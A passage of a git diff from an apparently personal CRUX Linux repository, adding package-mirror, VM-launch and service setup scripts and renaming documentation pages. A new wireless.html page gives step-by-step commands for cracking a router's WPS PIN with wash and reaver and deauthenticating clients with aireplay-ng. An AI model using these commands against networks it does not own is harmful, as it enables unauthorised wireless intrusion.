+        prt-get path $installed | while read -r line; do
+		cd $line
+		##get source
+	        sudo -u pkgmk -g pkgmk pkgmk -do
+		#make sure package exists
+		current="${installed}#$(prt-get current ${installed}).pkg.tar.gz"
+		echo "checking $current ..."
+		cp /usr/ports/archive/packages/${current} /usr/ports/packages/
+		prt-get update $installed
+        done
+done
+
+# Create repository
+echo "creating repository"
+cd /usr/ports/packages
+pkg-repgen
+
+# Create mirror page
+echo "creating mirror index page"
+portspage --title=${BUILD_TITLE} /usr/ports/installed > /usr/ports/installed/index.html
+
+sed -i "s@usr\/ports\/installed@mirror/installed@g" /usr/ports/installed/index.html
+
+echo "setting permissions /usr/ports"
+chown pkgmk:pkgmk -R /usr/ports
+
+# Remove temporary file
+rm /tmp/mirror
diff --git a/linux/scripts/pkgmk-test.conf b/linux/scripts/pkgmk-test.conf
new file mode 100644
index 0000000..4a04eec
--- /dev/null
+++ b/linux/scripts/pkgmk-test.conf
@@ -0,0 +1,19 @@
+#
+# /etc/pkgmk.conf: pkgmk(8) configuration
+#
+
+source /etc/pkgmk.conf
+
+#PKGMK_SOURCE_MIRRORS=(http://c1.ank/distfiles/)
+PKGMK_SOURCE_DIR="$PWD"
+PKGMK_PACKAGE_DIR="$PWD"
+PKGMK_WORK_DIR="$PWD/work"
+PKGMK_DOWNLOAD="yes"
+PKGMK_UP_TO_DATE="no"
+# PKGMK_IGNORE_FOOTPRINT="no"
+# PKGMK_IGNORE_NEW="no"
+# PKGMK_NO_STRIP="no"
+# PKGMK_DOWNLOAD_PROG="wget"
+# PKGMK_WGET_OPTS=""
+# PKGMK_CURL_OPTS=""
+# PKGMK_COMPRESSION_MODE="gz"
diff --git a/linux/scripts/pkgmk-test.sh b/linux/scripts/pkgmk-test.sh
new file mode 100644
index 0000000..4cfe2c3
--- /dev/null
+++ b/linux/scripts/pkgmk-test.sh
@@ -0,0 +1,5 @@
+#!/bin/bash
+DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
+CONF=${DIR}/pkgmk-test.conf
+echo "pkgmk -cf $CONF -d -is $1"
+fakeroot pkgmk -cf $CONF -d -is $1
diff --git a/linux/scripts/replace.sh b/linux/scripts/replace.sh
new file mode 100755
index 0000000..8d5d8d9
--- /dev/null
+++ b/linux/scripts/replace.sh
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+# find and replace string on files
+folder=$1
+oldstring=$2
+newstring=$3
+
+#grep -rl $oldstring $folder | xargs sed -i s@$oldstring@$newstring@g
+grep -rl "$oldstring" $folder | xargs sed -i "s@$oldstring@$newstring@g"
diff --git a/linux/scripts/runvm/c12-dvd b/linux/scripts/runvm/c12-dvd
new file mode 100644
index 0000000..9cbf201
--- /dev/null
+++ b/linux/scripts/runvm/c12-dvd
@@ -0,0 +1,15 @@
+export QEMU_AUDIO_DRV=alsa
+
+memory=1024
+
+boot=c
+
+iso=iso/devuan_jessie_1.0.0_amd64_CD.iso
+
+image=img/c12-dvd.qcow2
+
+tap="tap2"
+
+mac="54:60:be:ef:5c:72"
+
+other="-soundhw hda -vga std -display sdl -usb -device usb-ehci  -device usb-host,vendorid=0x13d3,productid=0x5652"
diff --git a/linux/scripts/runvm/profile/crux b/linux/scripts/runvm/profile/crux
new file mode 100644
index 0000000..672b80d
--- /dev/null
+++ b/linux/scripts/runvm/profile/crux
@@ -0,0 +1,7 @@
+mac="54:60:be:ef:5c:64"
+memory=1024
+boot=$2
+tap="tap4"
+iso=iso/crux-3.4.iso
+image=img/c14.qcow2
+other="-vga std -display sdl"
diff --git a/linux/scripts/runvm/runvm.sh b/linux/scripts/runvm/runvm.sh
new file mode 100644
index 0000000..21cd097
--- /dev/null
+++ b/linux/scripts/runvm/runvm.sh
@@ -0,0 +1,26 @@
+#!/bin/bash
+
+function rmac_addr (){
+printf '54:60:BE:EF:%02X:%02X\n' $((RANDOM%256)) $((RANDOM%256))
+}
+
+source profile/$1
+
+#mac=$(rmac_addr)
+#memory=1024
+#boot=d
+#tap="tap1"
+#iso=iso/crux-3.4.iso
+#image=img/crux-standard.qcow2
+#other="-soundhw hda -vga std -display sdl"
+
+qemu-system-x86_64 \
+    -enable-kvm \
+    -m ${memory} \
+    -boot ${boot} \
+    -cdrom ${iso} \
+    -hda ${image} \
+    -device e1000,netdev=t0,mac=${mac} \
+    -netdev tap,id=t0,ifname=${tap},script=no,downscript=no \
+    ${other} \
+    &
diff --git a/linux/scripts/setup-gitolite.sh b/linux/scripts/setup-gitolite.sh
new file mode 100644
index 0000000..c42db14
--- /dev/null
+++ b/linux/scripts/setup-gitolite.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+
+# First we define the function
+ConfirmOrExit ()
+{
+    while true
+    do
+        echo -n "Please confirm (y or n) :"
+        read CONFIRM
+        case $CONFIRM in
+            y|Y|YES|yes|Yes) break ;;
+            n|N|no|NO|No)
+                echo "Aborting - you entered $CONFIRM"
+                exit
+                ;;
+            *) echo "Please enter only y or n"
+        esac
+    done
+    echo "You entered $CONFIRM. Continuing ..."
+}
+
+
+# Absolute path to this script, e.g. /home/user/bin/foo.sh
+SCRIPT=$(readlink -f "$0")
+# Absolute path this script is in, thus /home/user/bin
+SCRIPTPATH=$(dirname "$SCRIPT")
+
+DIR=$(dirname "$SCRIPTPATH");
+DIR_CONF=$DIR"/conf"
+
+echo "SCRIPT=$SCRIPT";
+echo "SCRIPTPATH=$SCRIPTPATH";
+echo "DIR=$DIR";
+echo "DIR_CONF=$DIR_CONF";
+ConfirmOrExit
+
+    prt-get depinst gitolite
+
+    mkdir -p /srv/gitolite
+    useradd -U -d /srv/gitolite gitolite
+    chown gitolite:gitolite /srv/gitolite
+
+exit 0;
diff --git a/linux/scripts/setup-iso.sh b/linux/scripts/setup-iso.sh
index 458284d..19ac21f 100644
--- a/linux/scripts/setup-iso.sh
+++ b/linux/scripts/setup-iso.sh
@@ -4,13 +4,13 @@
 ISO_DIR="/usr/ports/iso"
 MOUNT_POINT="/mnt/media"
 
-ISO_FILE="${ISO_DIR}/crux-3.5.iso"
-MD5_FILE="${ISO_DIR}/crux-3.5.md5"
+ISO_FILE="${ISO_DIR}/crux-3.6.iso"
+MD5_FILE="${ISO_DIR}/crux-3.6.md5"
 
 # iso and md5 remote location
-#ISO_URL="https://serverop.de/crux/crux-3.5/iso/crux-3.5.iso"
-ISO_URL="https://ftp.spline.inf.fu-berlin.de/pub/crux/crux-3.5/iso/crux-3.5.iso"
-MD5_URL="https://serverop.de/crux/crux-3.5/iso/crux-3.5.md5"
+#ISO_URL="https://serverop.de/crux/crux-3.6/iso/crux-3.6.iso"
+ISO_URL="https://ftp.spline.inf.fu-berlin.de/pub/crux/crux-3.6/iso/crux-3.6.iso"
+MD5_URL="https://serverop.de/crux/crux-3.6/iso/crux-3.6.md5"
 
 # First we define the function
 ConfirmOrExit () {
@@ -99,8 +99,8 @@ while [ "$1" ]; do
                     -r|--root)
                         ISO_DIR=$2
 
-                        ISO_FILE="${ISO_DIR}/crux-3.5.iso"
-                        MD5_FILE="${ISO_DIR}/crux-3.5.md5"
+                        ISO_FILE="${ISO_DIR}/crux-3.6.iso"
+                        MD5_FILE="${ISO_DIR}/crux-3.6.md5"
 
                         shift ;;
                     -d|--download)
diff --git a/linux/scripts/setup-nginx.sh b/linux/scripts/setup-nginx.sh
new file mode 100644
index 0000000..11065d2
--- /dev/null
+++ b/linux/scripts/setup-nginx.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+
+#. `dirname $0`/config-install.sh
+#
+#prt-get depinst nginx
+#
+#cp -R $CONF_DIR/etc/nginx/* /etc/nginx/
+#
+#mkdir /srv/www
+#chown www:www /srv/www
+#
+#usermod -a -g www nginx
+#usermod -m -d /srv/www nginx
+
+openssl genrsa -des3 -out /etc/ssl/keys/nginx.key 2048
+openssl req -new -key /etc/ssl/keys/nginx.key -out /etc/ssl/certs/nginx.csr
+openssl x509 -req -days 365 \
+            -in /etc/ssl/certs/nginx.csr \
+            -signkey /etc/ssl/keys/nginx.key \
+            -out /etc/ssl/certs/nginx.crt
+
+cp /etc/ssl/keys/nginx.key /etc/ssl/keys/nginx.key.pass
+openssl rsa -in /etc/ssl/keys/nginx.key.pass -out /etc/ssl/keys/nginx.key
+
diff --git a/linux/scripts/setup-openssh.sh b/linux/scripts/setup-openssh.sh
new file mode 100644
index 0000000..14afe8b
--- /dev/null
+++ b/linux/scripts/setup-openssh.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+
+# First we define the function
+ConfirmOrExit ()
+{
+    while true
+    do
+        echo -n "Please confirm (y or n) :"
+        read CONFIRM
+        case $CONFIRM in
+            y|Y|YES|yes|Yes) break ;;
+            n|N|no|NO|No)
+                echo "Aborting - you entered $CONFIRM"
+                exit
+                ;;
+            *) echo "Please enter only y or n"
+        esac
+    done
+    echo "You entered $CONFIRM. Continuing ..."
+}
+
+
+# Absolute path to this script, e.g. /home/user/bin/foo.sh
+SCRIPT=$(readlink -f "$0")
+# Absolute path this script is in, thus /home/user/bin
+SCRIPTPATH=$(dirname "$SCRIPT")
+
+DIR=$(dirname "$SCRIPTPATH");
+DIR_CONF=$DIR"/conf"
+
+echo "SCRIPT=$SCRIPT";
+echo "SCRIPTPATH=$SCRIPTPATH";
+echo "DIR=$DIR";
+echo "DIR_CONF=$DIR_CONF";
+ConfirmOrExit
+
+
+    #installer overwrite system init script
+    cp -R $DIR_CONF/etc/ssh/sshd_config /etc/ssh/sshd_config
+
+    sh /etc/rc.d/sshd start
+
+exit 0;
diff --git a/linux/scripts/setup-php.sh b/linux/scripts/setup-php.sh
new file mode 100644
index 0000000..4c28173
--- /dev/null
+++ b/linux/scripts/setup-php.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+. `dirname $0`/config-install.sh
+
+prt-get depinst php php-fpm php-gd php-pdo-pgsql php-postgresql
+
+cp /etc/php/php.ini-development /etc/php/php.ini
diff --git a/linux/scripts/setup-postgresql.sh b/linux/scripts/setup-postgresql.sh
new file mode 100644
index 0000000..4e1ee3a
--- /dev/null
+++ b/linux/scripts/setup-postgresql.sh
@@ -0,0 +1,87 @@
+#!/bin/sh
+
+# First we define the function
+ConfirmOrExit ()
+{
+    while true
+    do
+        echo -n "Please confirm (y or n) :"
+        read CONFIRM
+        case $CONFIRM in
+            y|Y|YES|yes|Yes) break ;;
+            n|N|no|NO|No)
+                echo "Aborting - you entered $CONFIRM"
+                exit
+                ;;
+            *) echo "Please enter only y or n"
+        esac
+    done
+    echo "You entered $CONFIRM. Continuing ..."
+}
+
+
+# Absolute path to this script, e.g. /home/user/bin/foo.sh
+SCRIPT=$(readlink -f "$0")
+# Absolute path this script is in, thus /home/user/bin
+SCRIPTPATH=$(dirname "$SCRIPT")
+
+DIR=$(dirname "$SCRIPTPATH");
+DIR_CONF=$DIR"/conf"
+
+echo "SCRIPT=$SCRIPT";
+echo "SCRIPTPATH=$SCRIPTPATH";
+echo "DIR=$DIR";
+echo "DIR_CONF=$DIR_CONF";
+ConfirmOrExit
+
+IS_INSTALL=$(prt-get isinst postgresql);
+echo $IS_INSTALL;
+if [ "$IS_INSTALL" = "package postgresql is installed" ]
+then
+    echo "updating postgresql"
+    OLD_VERSION=$(prt-get current postgresql);
+    echo $OLD_VERSION;
+
+    sudo -u postgres pg_dumpall > /srv/pgsql/dump-$OLD_VERSION.sql
+
+    sh /etc/rc.d/postgresql stop
+
+    #extra backup, in case ...
+    tar --xattrs -zcpf /srv/pgsql/data-$OLD_VERSION.tar.gz \
+                    --directory=/srv/pgsql/data .
+
+    rm -R /srv/pgsql/data
+
+    prt-get update postgresql
+
+    NEW_VERSION=$(prt-get current postgresql);
+    echo $NEW_VERSION;
+
+    sudo -u postgres initdb -D /srv/pgsql/data
+
+    rejmerge
+    #installer overwrite system init script
+    cp -R $DIR_CONF/etc/rc.d/postgresql /etc/rc.d/
+
+    sh /etc/rc.d/postgresql start
+    sleep 5
+
+    sudo -u postgres psql -d postgres -f /srv/pgsql/dump-$OLD_VERSION.sql
+
+else
+    echo "install postgresql and dependencies"
+    prt-get depinst postgresql
+
+    cp -R $DIR_CONF/etc/rc.d/postgresql /etc/rc.d/
+
+    mkdir /srv/pgsql/
+    touch /var/log/postgresql
+    chown postgres:postgres /srv/pgsql /var/log/postgresql
+
+    sudo -u postgres initdb -D /srv/pgsql/data
+
+    cp $DIR_CONF/srv/pgsql/data/pg_hba.conf /srv/pgsql/data/
+    chown postgres:postgres /srv/pgsql/data/pg_hba.conf
+fi
+
+exit 0;
diff --git a/linux/scripts/setup-x.sh b/linux/scripts/setup-x.sh
new file mode 100644
index 0000000..262b4dd
--- /dev/null
+++ b/linux/scripts/setup-x.sh
@@ -0,0 +1,96 @@
+#!/bin/bash
+
+# Absolute path to this script, e.g. /home/user/bin/foo.sh
+SCRIPT=$(readlink -f "$0")
+# Absolute path this script is in, thus /home/user/bin
+SCRIPTPATH=$(dirname "$SCRIPT")
+
+DIR=$(dirname "$SCRIPTPATH");
+DIR_CONF=$DIR"/conf"
+
+
+
+prt-get depinst xorg-server \
+	xorg-xinit \
+	xorg-xrdb \
+	xorg-xdpyinfo \
+	xorg-xauth \
+	xorg-xmodmap \
+	xorg-xrandr \
+	xorg-xgamma \
+	xorg-xf86-input-evdev \
+	xorg-xf86-input-synaptics \
+	xsel \
+	xkeyboard-config
+
+prt-get depinst xorg-font-util \
+	xorg-font-alias \
+	xorg-font-dejavu-ttf \
+	xorg-font-cursor-misc \
+	xorg-font-misc-misc \
+	console-font-terminus \
+	xorg-font-terminus \
+	xorg-font-mutt-misc
+
+prt-get search xorg-font-bitstream | xargs sudo prt-get depinst
+prt-get search xorg-font-bh | xargs sudo prt-get depinst
+
+#prt-get search otf- | xargs sudo prt-get depinst
+#prt-get depinst otf-sourcecode
+
+prt-get depinst \
+            alsa-utils \
+            libdrm \
+            mesa3d \
+            ffmpeg \
+            gstreamer \
+            gstreamer-vaapi \
+            gst-plugins-base \
+            gst-plugins-good \
+            gst-plugins-bad \
+            gst-plugins-ugly \
+            cmus \
+            dmenu \
+            st \
+            gparted \
+            gimp \
+            libreoffice \
+            ca-certificates \
+            linux-pam \
+            gstreamer \
+            libgd \
+            icu \
+            syndaemon \
+	    firefox
+
+prt-get depinst \
+	openbox \
+	dwm \
+       	spectrwm \
+	mate
+
+ConfirmOrExit () {
+    while true
+    do
+        echo -n "Please confirm (y or n) :"
+        read CONFIRM
+        case $CONFIRM in
+            y|Y|YES|yes|Yes) break ;;
+            n|N|no|NO|No)
+                echo "Aborting - you entered $CONFIRM"
+                exit
+                ;;
+            *) echo "Please enter only y or n"
+        esac
+    done
+    echo "You entered $CONFIRM. Continuing ..."
+}
+
+echo "SCRIPT=$SCRIPT";
+echo "SCRIPTPATH=$SCRIPTPATH";
+echo "DIR=$DIR";
+echo "DIR_CONF=$DIR_CONF";
+ConfirmOrExit
+
+cp -R $DIR_CONF/etc/X11/* /etc/X11/
+
diff --git a/linux/sysctl.html b/linux/sysctl.html
index 3b1d492..9940d43 100644
--- a/linux/sysctl.html
+++ b/linux/sysctl.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1 id="sysctl">2.6.2. Sysctl</h1>
 
@@ -166,10 +166,10 @@
         # sysctl --system
         </pre>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/toolchain.html b/linux/toolchain.html
index 23f5655..1ee7c89 100644
--- a/linux/toolchain.html
+++ b/linux/toolchain.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1 id="toolchain">2.6.3. Toolchain</h1>
 
@@ -176,10 +176,10 @@
         </ul>
 
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/tty-terminal.html b/linux/tty-terminal.html
index 4da3798..60a9f5d 100644
--- a/linux/tty-terminal.html
+++ b/linux/tty-terminal.html
@@ -2,13 +2,13 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>2.4. Consoles, terminals and shells</title>
+        <title>2.3. Consoles, terminals and shells</title>
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
-        <h1>2.4. Consoles, terminals and shells</h1>
+        <h1>2.3. Consoles, terminals and shells</h1>
 
         <dl>
             <dt>Consoles</dt>
@@ -71,10 +71,10 @@
         </pre>
 
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
     </body>
diff --git a/linux/wireless.html b/linux/wireless.html
new file mode 100644
index 0000000..e15b112
--- /dev/null
+++ b/linux/wireless.html
@@ -0,0 +1,133 @@
+<html dir="ltr" lang="en">
+    <head>
+        <meta charset='utf-8'>
+        <title>Wireless</title>
+    </head>
+    <body>
+        <a href="index.html">Tools Index</a>
+
+        <h1>Wireless</h1>
+
+        <h2>Manual configuration</h2>
+
+        <pre>
+        # iwlist wlp2s0 scan
+        # iwconfig wlp2s0 essid name_of_network
+        </pre>
+
+        <p>To get mac address of the target cell;</p>
+
+        <pre>
+        # iwlist wlp2s0 scan
+        </pre>
+
+        <p>Example output that matter;</p>
+
+        <pre>
+        Cell 03 - Address: A8:A6:68:98:0C:C5
+        </pre>
+
+
+        <h4>Recover Password WPS</h4>
+
+        <p>First check processes that interfere with state of the interface and kill them;</p>
+
+        <pre>
+        # airmon-ng check
+
+
+        Found 5 processes that could cause trouble.
+        If airodump-ng, aireplay-ng or airtun-ng stops working after
+        a short period of time, you may want to kill (some of) them!
+
+        PID     Name
+        1271    wpa_supplicant
+        1576    wpa_supplicant
+        1633    dhclient
+        Process with PID 1576 (wpa_supplicant) is running on interface wlan0
+        Process with PID 1633 (dhclient) is running on interface wlan0
+        </pre>
+
+        <p>Pkill or kill all of them, ex 1271;</p>
+
+        <pre>
+        # kill -15 1271
+        </pre>
+
+        <p>If that fails;</p>
+
+        <pre>
+        # kill -9 1271
+        </pre>
+
+        <p>If wireless card is intel;</p>
+
+        <pre>
+        # rmmod iwlmvm
+        # rmmod iwlwifi
+        # modprob iwlwifi
+        </pre>
+
+        <p>Put interface in monitor mode;</p>
+
+        <pre>
+        # iwconfig wlp2s0 mode monitor
+        # ifconfig wlp2s0 up
+        </pre>
+
+        <pre>
+        # airmon-ng start wlp2s0
+
+
+        Interface       Chipset         Driver
+
+        wlp2s0           Intel AC        iwlwifi - [phy1]
+                                        (monitor mode enabled on mon0)
+        </pre>
+
+        <p>Airdump-ng don't report if a router have WPS or not, for that is used wash;</p>
+
+        <pre>
+        # wash -i wlp2s0
+        </pre>
+
+        <p>If the program report "Found packet with bad FCS", run with -C;</p>
+
+        <pre>
+        # wash -C -i wlp2s0
+        </pre>
+
+        <p>Put mon0 on same channel of target cell;</p>
+
+        <pre>
+        # iwconfig mon0 channel 6
+        </pre>
+
+        <p>Start the magic;</p>
+
+        <pre>
+        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv
+        </pre>
+
+        <p>If BSSID is cloaked, not being broadcasted, provide it to reaver;</p>
+
+        <pre>
+        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv
+        </pre>
+
+        <p>-a address of access point, -c client to deauthenticate</p>
+
+        <pre>
+        aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
+        </pre>
+
+
+        <a href="index.html">Tools Index</a>
+
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
+        See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
+        for copying conditions.</p>
+    </body>
+</html>